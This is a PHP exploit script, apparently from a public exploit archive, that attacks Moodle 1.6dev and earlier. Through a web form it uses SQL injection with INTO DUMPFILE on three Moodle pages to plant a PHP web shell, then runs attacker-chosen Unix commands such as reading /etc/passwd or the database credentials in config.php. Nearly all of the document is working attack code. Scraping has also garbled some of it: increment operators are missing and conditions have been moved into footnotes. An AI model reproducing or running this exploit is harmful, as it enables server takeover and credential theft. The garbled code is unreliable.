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Moodle <= 1.6dev SQL Injection / Command Execution Exploit


http://www.gipsky.com/
<?php
# moodle16dev_xpl.php 4.19 10/11/2005 #
# #
# Moodle <= 1.6dev get record() SQL injection / #
# / remote commands execution #
# by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# make these changes in php.ini if you have troubles #
# with this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# Sun-Tzu:"If your opponent is of choleric temper, seek to irritate him. #
# Pretend to be weak, that he may grow arrogant." #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>Moodle 1.6dev SQL Injection /remote cmmnds xctn</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}</style></head> <body> <p class="Stile6">
Moodle <= 1.6dev remote commands xcution </p><p class="
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"><p><input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span> </p> <p> <input
type="text" name="path"><span class="Stile5"> path ( ex: /moodle/ or just /)
</span></p><p> <input type="text" name="pathtoWWW"><span class="Stile5"> path
to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement
(default: ../../www) </span></p><p><input type="text" name="port" > <span
class="Stile5"> specify a port other than 80 (default value)</span> </p><p>
<input type="text" name="command"> <span class="Stile5">a Unix command ,
example: ls -la to list directories, cat /etc/passwd to show passwd file, cat
config.php to see database username and password</span>
</p><p><input type="text" name="proxy"><span class="Stile5">send exploit through
an HTTP proxy (ip:port)</span></p><p><input type="submit"name="Submit"
value="go!"></p></form></td></tr></table></body></html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci ;
echo "<td>&nbsp;&nbsp;</td>";
for ($li=0; $li<=15; $li )
{ echo "<td>".$headeri[$li $ki]."</td>";
}
$ki=$ki 16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii ;
$ji ;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16) 1); $li )
{ echo "<td>&nbsp&nbsp</td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li )
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else //fixed some errors in this function
{ if ($proxy=='')
{
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
$result = socket_connect($socket, $host, $port);
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';die;}
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen($host,$port);
if (!$ock) { echo 'No response from '.htmlentities($host).' ...'; die;}
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...'; die;}
}
fputs($ock,$packet);
if ($proxy=='')
{

$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while [1] or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}

function execute_commands()
{
global $p, $host, $port, $packet, $command, $html;
$packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: CLose\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; }
else {echo "Exploit failed...";}
}


if [2]
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if [3] {echo 'Error... check the path!'; die;}
if ($pathtoWWW=='') {$pathtoWWW="../../www";}
#default, path for "INTO OUTFILE '[path][file]', two dirs up from mysql data directory, change it for
#different installations
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$SHELL="<?php error_reporting(0);ini_set(\"max_execution_time\",0);echo \"Hi Master \";system(\$_GET[cmd]);?>";

$SQL="'UNION SELECT 0,'".$SHELL."',0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course_categories/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."course/category.php?id=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

$SQL="'UNION SELECT 0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."course/info.php?id=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

$SQL="'UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_user/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."iplookup/ipatlas/plot.php?address=127.0.0.1&user=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

}
else
{echo 'Fill in requested fields, optionally specify a proxy';}
?>

[2005-11-10]
附注
  1. !feof($ock
  2. $host<>'') and ($path<>'') and ($command<>''
  3. $path[0]<>'/') or ($path[strlen($path)-1]<>'/'
<< FreeBSD (4.x , < 5.4) master.passwd Disclosure Exploit Snort <= 2.4.2 Back Orifice Pre-Preprocessor Remote Exploit (3) >>
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